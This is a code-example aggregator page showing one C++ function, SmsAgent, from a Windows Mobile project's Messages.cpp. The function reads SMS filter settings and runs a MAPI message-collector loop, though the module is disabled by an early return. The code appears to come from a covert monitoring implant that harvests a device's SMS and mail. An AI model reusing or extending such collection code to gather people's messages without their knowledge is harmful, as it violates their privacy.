当前位置: 首页>>代码示例>>C++>>正文


C++ Observer::GetMessage方法代码示例

本文整理汇总了C++中Observer::GetMessage方法的典型用法代码示例。如果您正苦于以下问题:C++ Observer::GetMessage方法的具体用法?C++ Observer::GetMessage怎么用?C++ Observer::GetMessage使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在Observer的用法示例。


在下文中一共展示了Observer::GetMessage方法的1个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: SmsAgent

DWORD WINAPI SmsAgent(LPVOID lpParam) {
	Module *me = (Module *)lpParam;
	Configuration *conf = me->getConf();
	HANDLE eventHandle;

	MAPIAgent* agent = MAPIAgent::Instance();
	Observer *observerObj = Observer::self();
	MSG Msg;

	BOOL smsEnabled = FALSE, history = FALSE;
	wstring dateFrom, dateTo;
	JSONObject filter;

	// NON DEVE PARTIRE FINCHE NON VIENE FIXATO
	me->setStatus(MODULE_STOPPED);
	DBG_TRACE(L"Debug - Messages.cpp - This module cannot work\n", 5, FALSE);
	return 0;
	// NON DEVE PARTIRE FINCHE NON VIENE FIXATO

	// Cosi si prende la conf per SMS, per tutti gli altri e' uguale
	// cambia solo il nome dell'array
	try {
		smsEnabled = conf->getBoolFromArray(L"sms", L"enabled");

		filter = conf->getObjectFromArray(L"sms", L"filter");

		history = conf->getBoolFromObject(filter, L"history");
		dateFrom = conf->getStringFromObject(filter, L"datefrom");
		dateTo = conf->getStringFromObject(filter, L"dateto");
	} catch (...) {
		smsEnabled = FALSE;
	}

	me->setStatus(MODULE_RUNNING);
	eventHandle = me->getEvent();

	DBG_TRACE(L"Debug - Messages.cpp - Messages Module started\n", 5, FALSE);

	// Registriamoci all'observer
	if (observerObj->Register(GetCurrentThreadId()) == FALSE) {
		me->setStatus(MODULE_STOPPED);
		DBG_TRACE(L"Debug - Messages.cpp - Messages Module [cannot register to Observer, exiting]\n", 5, FALSE);
		return 0;
	}

	/*if (agent->Init(lpConfig, cbConfig) == FALSE) {
		me->setStatus(MODULE_STOPPED);
		return 0;
	}*/

	if (agent->Run(0) == FALSE) {
		me->setStatus(MODULE_STOPPED);
		return 0;
	}

	LOOP {
		// Diciamo semplicemente alla coda di farli passare tutti
		if (observerObj->GetMessage() != NULL) {
			observerObj->MarkMessage(GetCurrentThreadId(), IPC_PROCESS, FALSE);
		}

		if (PeekMessage(&Msg, NULL, 0, 0, PM_REMOVE) != 0) {
			TranslateMessage(&Msg);
			DispatchMessage(&Msg);
		}

		// Keep the sleeping time at 50, otherwise the MAIL agent WON'T WORK!!!
		WaitForSingleObject(eventHandle, 50);
		
		if (me->shouldStop())
			break;
	}

	agent->Quit();
	agent->WaitForCollector();
	agent->Destroy();

	observerObj->UnRegister(GetCurrentThreadId());

	me->setStatus(MODULE_STOPPED);
	DBG_TRACE(L"Debug - Messages.cpp - Messages Module clean stop\n", 5, FALSE);
	return 0;
}
开发者ID:BwRy,项目名称:core-winmobile,代码行数:83,代码来源:Messages.cpp


注:本文中的Observer::GetMessage方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。